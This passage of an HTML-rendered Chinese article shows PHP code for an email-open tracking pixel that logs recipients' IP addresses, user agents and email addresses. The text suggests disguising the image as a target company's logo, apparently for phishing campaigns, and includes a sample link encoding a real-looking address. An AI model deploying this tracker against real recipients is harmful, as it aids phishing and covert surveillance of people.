border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//    $p = get_request( false, &#34;p&#34; );</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//    if  (strlen($p)&gt;0 ){</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//        //解密 BASE64</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//        $p = base64_decode( $p );</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//        $paras = explode( &#34;?&#34;, $p );</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//        $npara = count( $paras )-1;</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//        $arandcode=0;</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//        if ( $npara &gt;= 1 ){</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//            $amailid = $paras[0];</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//            $aemail = $paras[1];</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//            if ( $npara &gt;= 2 ){</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//                $arandcode = $paras[2];</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//            }</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//        }</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//        $amailid = URLDecode( $amailid );</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//        if ( ! is_numeric( $arandcode ) )</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//            $arandcode = 0;</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//        //防止标识超过长度限制</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//        if ( strLen( $amailid)&gt;20 )</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//            $amailid = substr( $amailid, 0, 20 );</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//    }</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//}</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    $berror = <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">false</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//&#39; 记录统计</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">if</span> ( $mail_id&lt;&gt;<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;&#34;</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">and</span> strlen($mail_id)&gt;<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">0</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">and</span> strpos( $email, <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;@&#34;</span> )&gt;<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">1</span> ){<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//&#39;读取黑白名单设置</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        $badd = get_isadd( $mail_id, $email );<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//&#39; 需要添加记录</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">if</span> ( $badd ){<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            $cls_db = <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">new</span> class_database;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            $cls_db-&gt;OpenConnect();<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            $cmd = <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;SELECT * FROM `stat` WHERE mail_id=?;&#34;</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            $p =  <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">array</span> ( $mail_id );<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            $cls_db-&gt;getrecords( $cmd, $p, $db );<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//&#39;添加统计记录</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            $rs = $db-&gt;fetch();<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">if</span> ( $rs )<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            {<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $id = $rs[<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;id&#34;</span>];<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $n = $rs[<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;mail_read&#34;</span>];<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $n ++;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $n = $cls_db-&gt;execsql( <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;UPDATE stat SET mail_read=$n WHERE id=$id&#34;</span> );<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 判断 list 表中是否有这个地址</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $cmd = <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;SELECT * FROM [list] WHERE mailid=? AND email=? LIMIT 0,1;&#34;</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $p = <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">array</span> ( $id, $email );<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $cls_db-&gt;getrecords($cmd, $p, $db2);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $rs2 = $db2-&gt;fetch();<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">if</span> ( !$rs2 )<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                {<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                    $n = $rs[<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;mail_read_2&#34;</span>];<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                    $n++;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                    $n = $cls_db-&gt;execsql( <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;UPDATE stat SET mail_read_2=$n WHERE id=$id&#34;</span> );<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                }<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            }<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">else</span>{<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $mt = $cls_db-&gt;m_connect-&gt;prepare( <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;INSERT INTO stat(mail_id, mail_read, mail_read_2) VALUES(?, 1, 1)&#34;</span>);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $mt-&gt;execute( <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">array</span>( $mail_id ) );<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            }<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 重新获取ID</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            $cmd = <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;SELECT * FROM `stat` WHERE mail_id=?;&#34;</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            $p =  <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">array</span> ( $mail_id );<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            $cls_db-&gt;getrecords( $cmd, $p, $db );<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            $rs = $db-&gt;fetch();<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            $id = $rs[<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;id&#34;</span>];<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//&#39;添加详细记录</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">try</span>{<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">//var_dump( $_SERVER );</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $ip =  $_SERVER[<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#39;REMOTE_ADDR&#39;</span>];<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $agent = $_SERVER[<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;HTTP_USER_AGENT&#34;</span>]; <br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $t = date(<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#39;Y-m-d H:i:s&#39;</span>,time());<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $mt = $cls_db-&gt;m_connect-&gt;prepare( <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;INSERT INTO list(mailid, ip, client, email, date, randcode) VALUES(?, ?, ?, ?, ?, ? );&#34;</span>);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $mt-&gt;execute( <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">array</span>( $id, $ip, $agent, $email, $t, $randcode) );<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            }<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">catch</span>(PDOException $e)<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            {<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">echo</span> $e-&gt;getMessage();<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>                $berror = <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">true</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            }<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            $cls_db-&gt;CloseConnect();<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        }<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    }<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">if</span> ( ! $berror )<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    {<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        header( <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;Content-Type: image/gif&#34;</span> );<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        readfile(<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;images/blank.gif&#34;</span>);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">exit</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    }<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(51, 68, 187);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">?&gt;</span></span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/></code></pre><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">实现流程：</p><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">一、在邮件中插入一张图片，这里通过php中的readfile() 函数读取本地图片，这里的图片可以使用目标公司的logo，并写入到输出缓冲。</p><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><a href="http://xx.xx.xx.xx.xx/stat.php?p=U0NDV18xMz8yMDA2QDE2My5jb20/NjI3MzY=" target="_blank">http://xx.xx.xx.xx.xx/stat.php?p=U0NDV18xMz8yMDA2QDE2My5jb20/NjI3MzY=</a></p><figure style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><img data-w="1080" data-type="png" style="box-sizing: border-box;margin-right: auto;margin-left: auto;border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;font-size: inherit;color: inherit;line-height: inherit;display: block;" title="" data-ratio="0.41574074074074074" src="https://wechat2rss.xlab.app/img-proxy/?k=9166be8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcGzykdQ07iaPNibScxkP3369sMzXHDTSiaxPyj7O0QmNvhENQPbFcLKBP1h7rx8TIhw6HKVjtl2ONAQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">U0NDV18xMz8yMDA2QDE2My5jb20/NjI3MzY= base64加密的内容格式为：</p><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">邮件标识|接受邮箱|随机码</p><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">SCCW_13?2006@163.com?62736</p><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 